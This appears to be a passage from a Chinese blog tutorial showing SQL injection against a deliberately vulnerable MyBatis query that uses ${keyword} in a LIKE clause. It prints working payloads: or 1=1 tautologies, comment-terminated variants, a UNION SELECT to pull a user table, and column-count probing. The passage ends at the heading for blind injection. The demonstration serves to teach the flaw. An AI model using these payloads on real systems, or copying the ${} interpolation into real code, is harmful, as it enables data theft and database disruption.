实际的 SQL 语句,注意,正是用到了 ${keyword},才有了 SQL 注入的问题。
<select resultType="org.kite.purely.mybatis.entity.News"> select * from news where title like '%${keyword}%'; </select>然后我写了一个控制台,接收输入的参数,传给 selectNewsLikeTitle,以便来尝试 SQL 注入。
代码已上传至 github,链接放在了文末,需要的同学自取
正常的输入新闻表就三条数据,我以 Docker 作为关键词,正常情况下,应该是这样的返回结果:
蓝色是我输入的关键词,后面跟着查询语句。一个标准的模糊查询语句,最后输出的结果也没问题。
select * from news where title like '%Docker%'; SQL 注入如果使用者都这么守规矩就好了,但是真实情况往往并不是这样的,有些人就是喜欢躲在阴暗的角落放着冷箭,大部分情况下是有利可图,极少部分干脆就只是为了满足变态心理。
1、查询所有记录有同学已经看出来了,输入空值不就是查询所有吗?对的,没错,但真实情况下,前端或者 Controller、Service 层会做拦截,不允许查询所有。
正常逻辑不允许,但是 SQL 注入就可以。我输入下面这样的条件参数,看看会出现什么结果呢?
Docker' or 1=1 or 1='结果出来了,三条数据全部查询出来了。
因为构造的 SQL 语句已经完全变味儿了,SQL 语句是这样的,由于条件 or 1=1 的加持,导致任何记录都符合条件。
select * from news where title like '%Docker' or 1=1 or 1='%';通过添加'来保证条件中字符串前后单引号的闭合。
还可以是这样的条件
Docker' or 1=1 -- 或者 Docker' or 1=1 #因为--和#都是 MySQL 中的注释符号,用它们来注释掉关键注入后面的部分,最后构造出来的 SQL 语句是:
select * from news where title like '%Docker' or 1=1 -- %'; 或 select * from news where title like '%Docker' or 1=1 #%';所以,最后有效的部分就是注释符号前面的部分,自然,查询出来的就是所有的记录。
select * from news where title like '%Docker' or 1=1这种情况,其实保密数据没有什么泄漏,但是,它可能会拖垮数据库,抛开 Redis 缓存什么的不谈,假设仅有 MySQL 这一层,假设数据库中有几万条、几十万条数据,黑客不断制造这样的模糊查询,你的数据库服务马上就会挂掉。
2、联查其他表,危险行为把数据库拖垮已经很不爽了,但是更严重的,是获取数据。
我想要通过这条查询语句把 user表的数据也套出来,你看着是不是就有点儿意思了。怎么办呢,通过 union就可以。
前提是我已经知道有 user 表的存在了,别问怎么知道的,反正是已经知道了,而且黑客有很多办法能猜到。
我构造这样的参数:
Docker' union select * from `user` -- 注释掉后面的内容执行一下,出现这样的提示:
构造出来的 SQL 没有问题,就是我们想要的。
select * from news where title like '%Docker' union select * from `user` -- 注释掉后面的内容%';但是这用户体验很好,给出了具体的异常。体验好是对于攻击者而言的,如果每次异常都把原始异常信息抛出,那能给攻击者省不少事儿,就像下面这个异常。
Cause: java.sql.SQLException: The used SELECT statements have a different number of columns这是因为 news 表和 user 表的列数不一致导致的,前后列数不一致,那这时候怎么办呢?
构造出下面这样的查询语句可以试探出 news 表的列数,其中 select 1,2 from user中的 1,2表示假设 news 表有两列,可以从 1 到 n,当尝试到哪一个而不出错或者正常返回的时候,表示 news 表就有多少列了。
select * from news where title like '%Docker' union select 1,2 from `user`;要构造这样的语句,需要输入的参数是:
Docker' union select 1,2 from user #因为 news 表只有两列,所以上面的参数可以成功执行。
盲注